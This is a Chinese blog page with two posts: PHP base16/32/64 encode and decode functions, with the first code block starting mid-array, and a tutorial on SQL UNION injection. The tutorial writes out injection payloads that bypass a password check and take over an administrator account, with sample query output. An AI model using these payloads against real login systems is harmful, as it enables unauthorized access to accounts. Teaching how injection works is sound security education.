PHP 使用匿名函数 实现 base64/32/16 加密解密(encode/decode) 作者: Chuwen 时间: 2020-07-02 分类: PHP 评论 > base16/32 加密解密 是在网上找的拼凑的 ``` function ($str) { $encode = ''; $chars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']; for ($i = 0; $i < strlen($str); $i++) { $encode .= $chars[(ord($str[$i]) & 0b11110000) >> 4] . $chars[ord($str[$i]) & 0b00001111]; } return $encode; }, 32 => function ($str) { $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567'; $output = ''; $v = 0; $vbits = 0; for ($i = 0, $j = strlen($str); $i < $j; $i++) { $v <<= 8; $v += ord($str[$i]); $vbits += 8; while ($vbits >= 5) { $vbits -= 5; $output .= $BASE32_ALPHABET[$v >> $vbits]; $v &= ((1 << $vbits) - 1); } } if ($vbits > 0) { $v <<= (5-$vbits); $output .= $BASE32_ALPHABET[$v]; } return $output; }, 64 => function ($str) { return base64_encode($str); }, ]; $decode = [ 16 => function ($str) { $result = ''; for ($i = 0; $i < strlen($str) / 2; $i++) { $result .= chr(intval(substr($str, $i * 2, 2), 16)); } return $result; }, 32 => function ($str) { $output = ''; $v = 0; $vbits = 0; for($i = 0, $j = strlen($str); $i < $j; $i++) { $v <<= 5; if ($str[$i] >= 'a' && $str[$i] <= 'z') { $v += (ord($str[$i]) - 97); } elseif ($str[$i] >= '2' && $str[$i] <= '7') { $v += (24 + $str[$i]); } else { exit(1); } $vbits += 5; while($vbits >= 8){ $vbits -= 8; $output .= chr($v >> $vbits); $v &= ((1 << $vbits) - 1); } } return $output; }, 64 => function ($str) { return base64_decode($str); }, ]; var_dump($encode[16]('chuwen')); var_dump($encode[32]('chuwen')); var_dump($encode[64]('chuwen')); echo PHP_EOL; var_dump($decode[16]($encode[16]('chuwen'))); var_dump($decode[32]($encode[32]('chuwen'))); var_dump($decode[64]($encode[64]('chuwen'))); ```
巧妙地使用 SQL UNION 注入 作者: Chuwen 时间: 2020-07-01 分类: MySQL 评论 我们一般验证用户登录时,密码是否输入正确,一般是会这么做 1. 客户端 通过 post 提交用户名(username)和密码(pwd) 2. 服务端 拿到 username,进行数据库查询(假设没做对SQL注入措施),一般会这样写 SQL 语句(假设 `$username` 变量是获取用户 post 提交的用户名): `SELECT username,pwd FROM user_table WHERE username='$username'` 3. 然后查询得到结果,判断查询结果的密码是否与**接收的密码**一致 4. 好了重点了来了,因为没有做防SQL注入,我们可以这样注入 > 注意末尾 **#** 别漏掉了,写上这个就会忽略后面所有的语句 ``` SELECT username,pwd FROM user_table WHERE username='' UNION SELECT '','45cf93bd4f762c6597b68e615b153bd0'# ``` 此条语句的执行结果是: ``` +----------+----------------------------------+ | username | pwd | +----------+----------------------------------+ | | 45cf93bd4f762c6597b68e615b153bd0 | +----------+----------------------------------+ ``` 没错,我们使用 `UNION SELECT` 查询,可以控制输出字段的值,但前提是你要知道**查询了哪些字段** 这样我们 POST 提交参数: ``` username='UNION SELECT '','123456'#&pwd=123456 ``` 就可以骗过验证 --- 如果你知道某个账号(假设是 `nowtime`)具有**超级管理员权限**,那么让其执行以下语句就可以控制输出其密码 ``` SELECT username,pwd FROM user WHERE username='' UNION select username,'123456' as pwd FROM user where username='nowtime'# ``` 运行结果: ``` +----------+----------+ | username | pwd | +----------+----------+ | nowtime | 123456 | +----------+----------+ ```